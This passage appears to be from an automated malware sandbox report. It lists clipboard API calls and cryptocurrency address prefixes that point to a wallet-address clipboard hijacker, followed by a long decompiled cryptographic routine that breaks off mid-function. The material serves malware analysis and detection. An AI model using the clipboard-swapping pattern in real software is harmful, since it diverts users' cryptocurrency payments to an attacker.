GlobalUnlock.KERNEL32(00000000), ref: 00403E55
OpenClipboard.USER32(00000000), ref: 00403E5D
EmptyClipboard.USER32 ref: 00403E67
SetClipboardData.USER32 ref: 00403E73
CloseClipboard.USER32 ref: 00403E79

Strings

addr, xrefs: 004037B9
0, xrefs: 00403D95
band, xrefs: 00403C97
bitcoincash:, xrefs: 0040387B
bitcoincash:, xrefs: 00403CE5
nano_, xrefs: 004038A9
bc1, xrefs: 00403CB1
ronin:, xrefs: 00403CCB
x A, xrefs: 00403DB3
bitcoincash:, xrefs: 00403763
cosmos, xrefs: 0040378E
nano_, xrefs: 00403D33
bnb, xrefs: 00403C7D
addr, xrefs: 00403D19
cosmos, xrefs: 00403CFF
ronin:, xrefs: 00403892

Memory Dump Source

Source File: 00000004.00000002.381763276.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.381759429.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.381782946.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_2550821914.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$lstrlen$AllocCloseDataEmptyLockOpenUnlockisalphaisdigitmemcpy
String ID: 0$addr$addr$band$bc1$bitcoincash:$bitcoincash:$bitcoincash:$bnb$cosmos$cosmos$nano_$nano_$ronin:$ronin:$x A
API String ID: 2780752356-2942954336
Opcode ID: 44cbdba9deeb7107d8b3b7d2097c7be82a0ef0baedef9415574d6a77df896170
Instruction ID: d632528e84cd7d79e58a61d2646b08debe5d79a97a260add38f67847cdb8d2ff
Opcode Fuzzy Hash: 44cbdba9deeb7107d8b3b7d2097c7be82a0ef0baedef9415574d6a77df896170
Instruction Fuzzy Hash: 7A624A70A00218EACB248F55C0944BE7FBAAF42752F20C46BE8856F294D779DFD1DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00406610 Relevance: 62.3, APIs: 34, Strings: 1, Instructions: 1037
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406610(intOrPtr _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _t1394;
				signed int _t1396;
				signed int _t1397;
				signed int _t1398;
				signed int _t1399;
				signed int _t1403;
				signed int _t1413;
				intOrPtr _t1414;
				signed int _t1424;
				intOrPtr _t1425;
				signed int _t1435;
				intOrPtr _t1436;
				signed int _t1446;
				intOrPtr _t1447;
				signed int _t1457;
				intOrPtr _t1458;
				signed int _t1468;
				intOrPtr _t1469;
				signed int _t1479;
				intOrPtr _t1480;
				signed int _t1490;
				intOrPtr _t1491;
				signed int _t1501;
				intOrPtr _t1502;
				signed int _t1512;
				intOrPtr _t1513;
				signed int _t1523;
				intOrPtr _t1524;
				signed int _t1534;
				intOrPtr _t1535;
				signed int _t1545;
				intOrPtr _t1546;
				signed int _t1556;
				intOrPtr _t1557;
				signed int _t1567;
				intOrPtr _t1568;
				signed int _t1577;
				intOrPtr _t1579;
				intOrPtr _t1580;
				intOrPtr _t1581;
				signed int _t1582;
				signed int _t1588;
				signed int _t1589;
				signed int _t1590;
				signed int _t1591;
				signed int _t1595;
				signed int _t1598;
				signed int _t1599;
				signed int _t1600;
				signed int _t1601;
				signed int _t1605;
				signed int _t1608;
				signed int _t1609;
				signed int _t1610;
				signed int _t1611;
				signed int _t1615;
				signed int _t1618;
				signed int _t1619;
				signed int _t1620;
				signed int _t1621;
				signed int _t1625;
				signed int _t1628;
				signed int _t1629;
				signed int _t1630;
				signed int _t1631;
				signed int _t1635;
				signed int _t1638;
				signed int _t1639;
				signed int _t1640;
				signed int _t1641;
				signed int _t1645;
				signed int _t1648;
				signed int _t1649;
				signed int _t1650;
				signed int _t1651;
				signed int _t1655;
				signed int _t1658;
				signed int _t1659;
				signed int _t1660;
				signed int _t1661;
				signed int _t1665;
				signed int _t1668;
				signed int _t1669;
				signed int _t1670;
				signed int _t1671;
				signed int _t1675;
				signed int _t1678;
				signed int _t1679;
				signed int _t1680;
				signed int _t1681;
				signed int _t1685;
				signed int _t1688;
				signed int _t1689;
				signed int _t1690;
				signed int _t1691;
				signed int _t1695;
				signed int _t1698;
				signed int _t1699;
				signed int _t1700;
				signed int _t1701;
				signed int _t1705;
				signed int _t1708;
				signed int _t1709;
				signed int _t1710;
				signed int _t1711;
				signed int _t1715;
				signed int _t1718;
				signed int _t1719;
				signed int _t1720;
				signed int _t1721;
				signed int _t1725;
				signed int _t1728;
				signed int _t1729;
				signed int _t1730;
				signed int _t1731;
				signed int _t1735;
				signed int _t1738;
				signed int _t1748;
				intOrPtr _t1749;
				intOrPtr _t1755;
				intOrPtr _t1756;
				intOrPtr _t1757;
				signed int _t1758;
				intOrPtr _t1767;
				intOrPtr _t1768;
				intOrPtr _t1769;
				signed int _t1770;
				intOrPtr _t1779;
				intOrPtr _t1780;
				intOrPtr _t1781;
				signed int _t1782;
				intOrPtr _t1791;
				intOrPtr _t1792;
				intOrPtr _t1793;
				signed int _t1794;
				intOrPtr _t1803;
				intOrPtr _t1804;
				intOrPtr _t1805;
				signed int _t1806;
				intOrPtr _t1815;
				intOrPtr _t1816;
				intOrPtr _t1817;
				signed int _t1818;
				intOrPtr _t1827;
				intOrPtr _t1828;
				intOrPtr _t1829;
				signed int _t1830;
				intOrPtr _t1839;
				intOrPtr _t1840;
				intOrPtr _t1841;
				signed int _t1842;
				intOrPtr _t1851;
				intOrPtr _t1852;
				intOrPtr _t1853;
				signed int _t1854;
				intOrPtr _t1863;
				intOrPtr _t1864;
				intOrPtr _t1865;
				signed int _t1866;
				intOrPtr _t1875;
				intOrPtr _t1876;
				intOrPtr _t1877;
				signed int _t1878;
				intOrPtr _t1887;
				intOrPtr _t1888;
				intOrPtr _t1889;
				signed int _t1890;
				intOrPtr _t1899;
				intOrPtr _t1900;
				intOrPtr _t1901;
				signed int _t1902;
				intOrPtr _t1911;
				intOrPtr _t1912;
				intOrPtr _t1913;
				signed int _t1914;
				intOrPtr _t1923;
				intOrPtr _t1924;
				intOrPtr _t1925;
				signed int _t1926;
				intOrPtr _t2043;
				intOrPtr _t2044;
				intOrPtr _t2045;
				intOrPtr _t2050;
				intOrPtr _t2051;
				intOrPtr _t2052;
				intOrPtr _t2057;
				intOrPtr _t2058;
				intOrPtr _t2059;
				intOrPtr _t2064;
				intOrPtr _t2065;
				intOrPtr _t2066;
				intOrPtr _t2071;
				intOrPtr _t2072;
				intOrPtr _t2073;
				intOrPtr _t2078;
				intOrPtr _t2079;
				intOrPtr _t2080;
				intOrPtr _t2085;
				intOrPtr _t2086;
				intOrPtr _t2087;
				intOrPtr _t2092;
				intOrPtr _t2093;
				intOrPtr _t2094;
				intOrPtr _t2099;
				intOrPtr _t2100;
				intOrPtr _t2101;
				intOrPtr _t2106;
				intOrPtr _t2107;
				intOrPtr _t2108;
				intOrPtr _t2113;
				intOrPtr _t2114;
				intOrPtr _t2115;
				intOrPtr _t2120;
				intOrPtr _t2121;
				intOrPtr _t2122;
				intOrPtr _t2127;
				intOrPtr _t2128;
				intOrPtr _t2129;
				intOrPtr _t2134;
				intOrPtr _t2135;
				intOrPtr _t2136;
				intOrPtr _t2141;
				intOrPtr _t2142;
				intOrPtr _t2143;
				intOrPtr _t2148;
				intOrPtr _t2149;
				intOrPtr _t2150;

				_t1394 =  *0x411120; // 0x89abcdef
				_v28 = _t1394;
				_t1577 =  *0x411124; // 0x1234567
				_v24 = _t1577;
				_v32 = 0;
				_v16 = 0x59;
				while(1) {
					_t1396 = _a8 << 4;
					if(_v32 >= _t1396) {
						break;
					}
					_v12 = _v28;
					_v8 = _v24;
					_t1397 = _v16;
					_t1579 = _a4;
					_v12 = _v12 ^  *(_t1579 + _t1397 * 8 - 0x2c8);
					_v8 = _v8 ^  *(_t1579 + _t1397 * 8 - 0x2c4);
					_t1398 = _v16;
					_t1580 = _a4;
					_v12 = _v12 ^  *(_t1580 + _t1398 * 8 - 0x88);
					_v8 = _v8 ^  *(_t1580 + _t1398 * 8 - 0x84);
					_t1399 = _v16;
					_t1581 = _a4;
					_t1748 = _v16;
					_t2043 = _a4;
					_v12 =  *(_t1581 + _t1399 * 8 - 0x90) &  *(_t2043 + _t1748 * 8 - 0xa8) ^ _v12;
					_v8 =  *(_t1581 + _t1399 * 8 - 0x8c) &  *(_t2043 + _t1748 * 8 - 0xa4) ^ _v8;
					_t1582 = _v16;
					_t1749 = _a4;
					_t1403 = _v16;
					_t2044 = _a4;
					_v12 =  *(_t1749 + _t1582 * 8 - 0xf8) &  *(_t2044 + _t1403 * 8 - 0x218) ^ _v12;
					_v8 =  *(_t1749 + _t1582 * 8 - 0xf4) &  *(_t2044 + _t1403 * 8 - 0x214) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1588 = _v16;
					_t2045 = _a4;
					 *(_t2045 + _t1588 * 8) = _v12 ^ _v12;
					 *(_t2045 + 4 + _t1588 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1589 = _v16;
					_t1755 = _a4;
					_v12 = _v12 ^  *(_t1755 + _t1589 * 8 - 0x2c0);
					_v8 = _v8 ^  *(_t1755 + _t1589 * 8 - 0x2bc);
					_t1590 = _v16;
					_t1756 = _a4;
					_v12 = _v12 ^  *(_t1756 + _t1590 * 8 - 0x80);
					_v8 = _v8 ^  *(_t1756 + _t1590 * 8 - 0x7c);
					_t1591 = _v16;
					_t1757 = _a4;
					_t1413 = _v16;
					_t2050 = _a4;
					_v12 =  *(_t1757 + _t1591 * 8 - 0x88) &  *(_t2050 + _t1413 * 8 - 0xa0) ^ _v12;
					_v8 =  *(_t1757 + _t1591 * 8 - 0x84) &  *(_t2050 + _t1413 * 8 - 0x9c) ^ _v8;
					_t1758 = _v16;
					_t1414 = _a4;
					_t1595 = _v16;
					_t2051 = _a4;
					_v12 =  *(_t1414 + _t1758 * 8 - 0xf0) &  *(_t2051 + _t1595 * 8 - 0x210) ^ _v12;
					_v8 =  *(_t1414 + _t1758 * 8 - 0xec) &  *(_t2051 + _t1595 * 8 - 0x20c) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1598 = _v16;
					_t2052 = _a4;
					 *(_t2052 + 8 + _t1598 * 8) = _v12 ^ _v12;
					 *(_t2052 + 0xc + _t1598 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1599 = _v16;
					_t1767 = _a4;
					_v12 = _v12 ^  *(_t1767 + _t1599 * 8 - 0x2b8);
					_v8 = _v8 ^  *(_t1767 + _t1599 * 8 - 0x2b4);
					_t1600 = _v16;
					_t1768 = _a4;
					_v12 = _v12 ^  *(_t1768 + _t1600 * 8 - 0x78);
					_v8 = _v8 ^  *(_t1768 + _t1600 * 8 - 0x74);
					_t1601 = _v16;
					_t1769 = _a4;
					_t1424 = _v16;
					_t2057 = _a4;
					_v12 =  *(_t1769 + _t1601 * 8 - 0x80) &  *(_t2057 + _t1424 * 8 - 0x98) ^ _v12;
					_v8 =  *(_t1769 + _t1601 * 8 - 0x7c) &  *(_t2057 + _t1424 * 8 - 0x94) ^ _v8;
					_t1770 = _v16;
					_t1425 = _a4;
					_t1605 = _v16;
					_t2058 = _a4;
					_v12 =  *(_t1425 + _t1770 * 8 - 0xe8) &  *(_t2058 + _t1605 * 8 - 0x208) ^ _v12;
					_v8 =  *(_t1425 + _t1770 * 8 - 0xe4) &  *(_t2058 + _t1605 * 8 - 0x204) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1608 = _v16;
					_t2059 = _a4;
					 *(_t2059 + 0x10 + _t1608 * 8) = _v12 ^ _v12;
					 *(_t2059 + 0x14 + _t1608 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1609 = _v16;
					_t1779 = _a4;
					_v12 = _v12 ^  *(_t1779 + _t1609 * 8 - 0x2b0);
					_v8 = _v8 ^  *(_t1779 + _t1609 * 8 - 0x2ac);
					_t1610 = _v16;
					_t1780 = _a4;
					_v12 = _v12 ^  *(_t1780 + _t1610 * 8 - 0x70);
					_v8 = _v8 ^  *(_t1780 + _t1610 * 8 - 0x6c);
					_t1611 = _v16;
					_t1781 = _a4;
					_t1435 = _v16;
					_t2064 = _a4;
					_v12 =  *(_t1781 + _t1611 * 8 - 0x78) &  *(_t2064 + _t1435 * 8 - 0x90) ^ _v12;
					_v8 =  *(_t1781 + _t1611 * 8 - 0x74) &  *(_t2064 + _t1435 * 8 - 0x8c) ^ _v8;
					_t1782 = _v16;
					_t1436 = _a4;
					_t1615 = _v16;
					_t2065 = _a4;
					_v12 =  *(_t1436 + _t1782 * 8 - 0xe0) &  *(_t2065 + _t1615 * 8 - 0x200) ^ _v12;
					_v8 =  *(_t1436 + _t1782 * 8 - 0xdc) &  *(_t2065 + _t1615 * 8 - 0x1fc) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1618 = _v16;
					_t2066 = _a4;
					 *(_t2066 + 0x18 + _t1618 * 8) = _v12 ^ _v12;
					 *(_t2066 + 0x1c + _t1618 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1619 = _v16;
					_t1791 = _a4;
					_v12 = _v12 ^  *(_t1791 + _t1619 * 8 - 0x2a8);
					_v8 = _v8 ^  *(_t1791 + _t1619 * 8 - 0x2a4);
					_t1620 = _v16;
					_t1792 = _a4;
					_v12 = _v12 ^  *(_t1792 + _t1620 * 8 - 0x68);
					_v8 = _v8 ^  *(_t1792 + _t1620 * 8 - 0x64);
					_t1621 = _v16;
					_t1793 = _a4;
					_t1446 = _v16;
					_t2071 = _a4;
					_v12 =  *(_t1793 + _t1621 * 8 - 0x70) &  *(_t2071 + _t1446 * 8 - 0x88) ^ _v12;
					_v8 =  *(_t1793 + _t1621 * 8 - 0x6c) &  *(_t2071 + _t1446 * 8 - 0x84) ^ _v8;
					_t1794 = _v16;
					_t1447 = _a4;
					_t1625 = _v16;
					_t2072 = _a4;
					_v12 =  *(_t1447 + _t1794 * 8 - 0xd8) &  *(_t2072 + _t1625 * 8 - 0x1f8) ^ _v12;
					_v8 =  *(_t1447 + _t1794 * 8 - 0xd4) &  *(_t2072 + _t1625 * 8 - 0x1f4) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1628 = _v16;
					_t2073 = _a4;
					 *(_t2073 + 0x20 + _t1628 * 8) = _v12 ^ _v12;
					 *(_t2073 + 0x24 + _t1628 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1629 = _v16;
					_t1803 = _a4;
					_v12 = _v12 ^  *(_t1803 + _t1629 * 8 - 0x2a0);
					_v8 = _v8 ^  *(_t1803 + _t1629 * 8 - 0x29c);
					_t1630 = _v16;
					_t1804 = _a4;
					_v12 = _v12 ^  *(_t1804 + _t1630 * 8 - 0x60);
					_v8 = _v8 ^  *(_t1804 + _t1630 * 8 - 0x5c);
					_t1631 = _v16;
					_t1805 = _a4;
					_t1457 = _v16;
					_t2078 = _a4;
					_v12 =  *(_t1805 + _t1631 * 8 - 0x68) &  *(_t2078 + _t1457 * 8 - 0x80) ^ _v12;
					_v8 =  *(_t1805 + _t1631 * 8 - 0x64) &  *(_t2078 + _t1457 * 8 - 0x7c) ^ _v8;
					_t1806 = _v16;
					_t1458 = _a4;
					_t1635 = _v16;
					_t2079 = _a4;
					_v12 =  *(_t1458 + _t1806 * 8 - 0xd0) &  *(_t2079 + _t1635 * 8 - 0x1f0) ^ _v12;
					_v8 =  *(_t1458 + _t1806 * 8 - 0xcc) &  *(_t2079 + _t1635 * 8 - 0x1ec) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1638 = _v16;
					_t2080 = _a4;
					 *(_t2080 + 0x28 + _t1638 * 8) = _v12 ^ _v12;
					 *(_t2080 + 0x2c + _t1638 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1639 = _v16;
					_t1815 = _a4;
					_v12 = _v12 ^  *(_t1815 + _t1639 * 8 - 0x298);
					_v8 = _v8 ^  *(_t1815 + _t1639 * 8 - 0x294);
					_t1640 = _v16;
					_t1816 = _a4;
					_v12 = _v12 ^  *(_t1816 + _t1640 * 8 - 0x58);
					_v8 = _v8 ^  *(_t1816 + _t1640 * 8 - 0x54);
					_t1641 = _v16;
					_t1817 = _a4;
					_t1468 = _v16;
					_t2085 = _a4;
					_v12 =  *(_t1817 + _t1641 * 8 - 0x60) &  *(_t2085 + _t1468 * 8 - 0x78) ^ _v12;
					_v8 =  *(_t1817 + _t1641 * 8 - 0x5c) &  *(_t2085 + _t1468 * 8 - 0x74) ^ _v8;
					_t1818 = _v16;
					_t1469 = _a4;
					_t1645 = _v16;
					_t2086 = _a4;
					_v12 =  *(_t1469 + _t1818 * 8 - 0xc8) &  *(_t2086 + _t1645 * 8 - 0x1e8) ^ _v12;
					_v8 =  *(_t1469 + _t1818 * 8 - 0xc4) &  *(_t2086 + _t1645 * 8 - 0x1e4) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1648 = _v16;
					_t2087 = _a4;
					 *(_t2087 + 0x30 + _t1648 * 8) = _v12 ^ _v12;
					 *(_t2087 + 0x34 + _t1648 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1649 = _v16;
					_t1827 = _a4;
					_v12 = _v12 ^  *(_t1827 + _t1649 * 8 - 0x290);
					_v8 = _v8 ^  *(_t1827 + _t1649 * 8 - 0x28c);
					_t1650 = _v16;
					_t1828 = _a4;
					_v12 = _v12 ^  *(_t1828 + _t1650 * 8 - 0x50);
					_v8 = _v8 ^  *(_t1828 + _t1650 * 8 - 0x4c);
					_t1651 = _v16;
					_t1829 = _a4;
					_t1479 = _v16;
					_t2092 = _a4;
					_v12 =  *(_t1829 + _t1651 * 8 - 0x58) &  *(_t2092 + _t1479 * 8 - 0x70) ^ _v12;
					_v8 =  *(_t1829 + _t1651 * 8 - 0x54) &  *(_t2092 + _t1479 * 8 - 0x6c) ^ _v8;
					_t1830 = _v16;
					_t1480 = _a4;
					_t1655 = _v16;
					_t2093 = _a4;
					_v12 =  *(_t1480 + _t1830 * 8 - 0xc0) &  *(_t2093 + _t1655 * 8 - 0x1e0) ^ _v12;
					_v8 =  *(_t1480 + _t1830 * 8 - 0xbc) &  *(_t2093 + _t1655 * 8 - 0x1dc) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1658 = _v16;
					_t2094 = _a4;
					 *(_t2094 + 0x38 + _t1658 * 8) = _v12 ^ _v12;
					 *(_t2094 + 0x3c + _t1658 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1659 = _v16;
					_t1839 = _a4;
					_v12 = _v12 ^  *(_t1839 + _t1659 * 8 - 0x288);
					_v8 = _v8 ^  *(_t1839 + _t1659 * 8 - 0x284);
					_t1660 = _v16;
					_t1840 = _a4;
					_v12 = _v12 ^  *(_t1840 + _t1660 * 8 - 0x48);
					_v8 = _v8 ^  *(_t1840 + _t1660 * 8 - 0x44);
					_t1661 = _v16;
					_t1841 = _a4;
					_t1490 = _v16;
					_t2099 = _a4;
					_v12 =  *(_t1841 + _t1661 * 8 - 0x50) &  *(_t2099 + _t1490 * 8 - 0x68) ^ _v12;
					_v8 =  *(_t1841 + _t1661 * 8 - 0x4c) &  *(_t2099 + _t1490 * 8 - 0x64) ^ _v8;
					_t1842 = _v16;
					_t1491 = _a4;
					_t1665 = _v16;
					_t2100 = _a4;
					_v12 =  *(_t1491 + _t1842 * 8 - 0xb8) &  *(_t2100 + _t1665 * 8 - 0x1d8) ^ _v12;
					_v8 =  *(_t1491 + _t1842 * 8 - 0xb4) &  *(_t2100 + _t1665 * 8 - 0x1d4) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1668 = _v16;
					_t2101 = _a4;
					 *(_t2101 + 0x40 + _t1668 * 8) = _v12 ^ _v12;
					 *(_t2101 + 0x44 + _t1668 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1669 = _v16;
					_t1851 = _a4;
					_v12 = _v12 ^  *(_t1851 + _t1669 * 8 - 0x280);
					_v8 = _v8 ^  *(_t1851 + _t1669 * 8 - 0x27c);
					_t1670 = _v16;
					_t1852 = _a4;
					_v12 = _v12 ^  *(_t1852 + _t1670 * 8 - 0x40);
					_v8 = _v8 ^  *(_t1852 + _t1670 * 8 - 0x3c);
					_t1671 = _v16;
					_t1853 = _a4;
					_t1501 = _v16;
					_t2106 = _a4;
					_v12 =  *(_t1853 + _t1671 * 8 - 0x48) &  *(_t2106 + _t1501 * 8 - 0x60) ^ _v12;
					_v8 =  *(_t1853 + _t1671 * 8 - 0x44) &  *(_t2106 + _t1501 * 8 - 0x5c) ^ _v8;
					_t1854 = _v16;
					_t1502 = _a4;
					_t1675 = _v16;
					_t2107 = _a4;
					_v12 =  *(_t1502 + _t1854 * 8 - 0xb0) &  *(_t2107 + _t1675 * 8 - 0x1d0) ^ _v12;
					_v8 =  *(_t1502 + _t1854 * 8 - 0xac) &  *(_t2107 + _t1675 * 8 - 0x1cc) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1678 = _v16;
					_t2108 = _a4;
					 *(_t2108 + 0x48 + _t1678 * 8) = _v12 ^ _v12;
					 *(_t2108 + 0x4c + _t1678 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1679 = _v16;
					_t1863 = _a4;
					_v12 = _v12 ^  *(_t1863 + _t1679 * 8 - 0x278);
					_v8 = _v8 ^  *(_t1863 + _t1679 * 8 - 0x274);
					_t1680 = _v16;
					_t1864 = _a4;
					_v12 = _v12 ^  *(_t1864 + _t1680 * 8 - 0x38);
					_v8 = _v8 ^  *(_t1864 + _t1680 * 8 - 0x34);
					_t1681 = _v16;
					_t1865 = _a4;
					_t1512 = _v16;
					_t2113 = _a4;
					_v12 =  *(_t1865 + _t1681 * 8 - 0x40) &  *(_t2113 + _t1512 * 8 - 0x58) ^ _v12;
					_v8 =  *(_t1865 + _t1681 * 8 - 0x3c) &  *(_t2113 + _t1512 * 8 - 0x54) ^ _v8;
					_t1866 = _v16;
					_t1513 = _a4;
					_t1685 = _v16;
					_t2114 = _a4;
					_v12 =  *(_t1513 + _t1866 * 8 - 0xa8) &  *(_t2114 + _t1685 * 8 - 0x1c8) ^ _v12;
					_v8 =  *(_t1513 + _t1866 * 8 - 0xa4) &  *(_t2114 + _t1685 * 8 - 0x1c4) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1688 = _v16;
					_t2115 = _a4;
					 *(_t2115 + 0x50 + _t1688 * 8) = _v12 ^ _v12;
					 *(_t2115 + 0x54 + _t1688 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1689 = _v16;
					_t1875 = _a4;
					_v12 = _v12 ^  *(_t1875 + _t1689 * 8 - 0x270);
					_v8 = _v8 ^  *(_t1875 + _t1689 * 8 - 0x26c);
					_t1690 = _v16;
					_t1876 = _a4;
					_v12 = _v12 ^  *(_t1876 + _t1690 * 8 - 0x30);
					_v8 = _v8 ^  *(_t1876 + _t1690 * 8 - 0x2c);
					_t1691 = _v16;
					_t1877 = _a4;
					_t1523 = _v16;
					_t2120 = _a4;
					_v12 =  *(_t1877 + _t1691 * 8 - 0x38) &  *(_t2120 + _t1523 * 8 - 0x50) ^ _v12;
					_v8 =  *(_t1877 + _t1691 * 8 - 0x34) &  *(_t2120 + _t1523 * 8 - 0x4c) ^ _v8;
					_t1878 = _v16;
					_t1524 = _a4;
					_t1695 = _v16;
					_t2121 = _a4;
					_v12 =  *(_t1524 + _t1878 * 8 - 0xa0) &  *(_t2121 + _t1695 * 8 - 0x1c0) ^ _v12;
					_v8 =  *(_t1524 + _t1878 * 8 - 0x9c) &  *(_t2121 + _t1695 * 8 - 0x1bc) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1698 = _v16;
					_t2122 = _a4;
					 *(_t2122 + 0x58 + _t1698 * 8) = _v12 ^ _v12;
					 *(_t2122 + 0x5c + _t1698 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1699 = _v16;
					_t1887 = _a4;
					_v12 = _v12 ^  *(_t1887 + _t1699 * 8 - 0x268);
					_v8 = _v8 ^  *(_t1887 + _t1699 * 8 - 0x264);
					_t1700 = _v16;
					_t1888 = _a4;
					_v12 = _v12 ^  *(_t1888 + _t1700 * 8 - 0x28);
					_v8 = _v8 ^  *(_t1888 + _t1700 * 8 - 0x24);
					_t1701 = _v16;
					_t1889 = _a4;
					_t1534 = _v16;
					_t2127 = _a4;
					_v12 =  *(_t1889 + _t1701 * 8 - 0x30) &  *(_t2127 + _t1534 * 8 - 0x48) ^ _v12;
					_v8 =  *(_t1889 + _t1701 * 8 - 0x2c) &  *(_t2127 + _t1534 * 8 - 0x44) ^ _v8;
					_t1890 = _v16;
					_t1535 = _a4;
					_t1705 = _v16;
					_t2128 = _a4;
					_v12 =  *(_t1535 + _t1890 * 8 - 0x98) &  *(_t2128 + _t1705 * 8 - 0x1b8) ^ _v12;
					_v8 =  *(_t1535 + _t1890 * 8 - 0x94) &  *(_t2128 + _t1705 * 8 - 0x1b4) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1708 = _v16;
					_t2129 = _a4;
					 *(_t2129 + 0x60 + _t1708 * 8) = _v12 ^ _v12;
					 *(_t2129 + 0x64 + _t1708 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1709 = _v16;
					_t1899 = _a4;
					_v12 = _v12 ^  *(_t1899 + _t1709 * 8 - 0x260);
					_v8 = _v8 ^  *(_t1899 + _t1709 * 8 - 0x25c);
					_t1710 = _v16;
					_t1900 = _a4;
					_v12 = _v12 ^  *(_t1900 + _t1710 * 8 - 0x20);
					_v8 = _v8 ^  *(_t1900 + _t1710 * 8 - 0x1c);
					_t1711 = _v16;
					_t1901 = _a4;
					_t1545 = _v16;
					_t2134 = _a4;
					_v12 =  *(_t1901 + _t1711 * 8 - 0x28) &  *(_t2134 + _t1545 * 8 - 0x40) ^ _v12;
					_v8 =  *(_t1901 + _t1711 * 8 - 0x24) &  *(_t2134 + _t1545 * 8 - 0x3c) ^ _v8;
					_t1902 = _v16;
					_t1546 = _a4;
					_t1715 = _v16;
					_t2135 = _a4;
					_v12 =  *(_t1546 + _t1902 * 8 - 0x90) &  *(_t2135 + _t1715 * 8 - 0x1b0) ^ _v12;
					_v8 =  *(_t1546 + _t1902 * 8 - 0x8c) &  *(_t2135 + _t1715 * 8 - 0x1ac) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1718 = _v16;
					_t2136 = _a4;
					 *(_t2136 + 0x68 + _t1718 * 8) = _v12 ^ _v12;
					 *(_t2136 + 0x6c + _t1718 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1719 = _v16;
					_t1911 = _a4;
					_v12 = _v12 ^  *(_t1911 + _t1719 * 8 - 0x258);
					_v8 = _v8 ^  *(_t1911 + _t1719 * 8 - 0x254);
					_t1720 = _v16;
					_t1912 = _a4;
					_v12 = _v12 ^  *(_t1912 + _t1720 * 8 - 0x18);
					_v8 = _v8 ^  *(_t1912 + _t1720 * 8 - 0x14);
					_t1721 = _v16;
					_t1913 = _a4;
					_t1556 = _v16;
					_t2141 = _a4;
					_v12 =  *(_t1913 + _t1721 * 8 - 0x20) &  *(_t2141 + _t1556 * 8 - 0x38) ^ _v12;
					_v8 =  *(_t1913 + _t1721 * 8 - 0x1c) &  *(_t2141 + _t1556 * 8 - 0x34) ^ _v8;
					_t1914 = _v16;
					_t1557 = _a4;
					_t1725 = _v16;
					_t2142 = _a4;
					_v12 =  *(_t1557 + _t1914 * 8 - 0x88) &  *(_t2142 + _t1725 * 8 - 0x1a8) ^ _v12;
					_v8 =  *(_t1557 + _t1914 * 8 - 0x84) &  *(_t2142 + _t1725 * 8 - 0x1a4) ^ _v8;
					L0040EDF8();
					_v12 = _v12 ^ _v12;
					_v8 = _v8 ^ _v8;
					L0040EDFE();
					_t1728 = _v16;
					_t2143 = _a4;
					 *(_t2143 + 0x70 + _t1728 * 8) = _v12 ^ _v12;
					 *(_t2143 + 0x74 + _t1728 * 8) = _v8 ^ _v8;
					_v12 = _v28;
					_v8 = _v24;
					_t1729 = _v16;
					_t1923 = _a4;
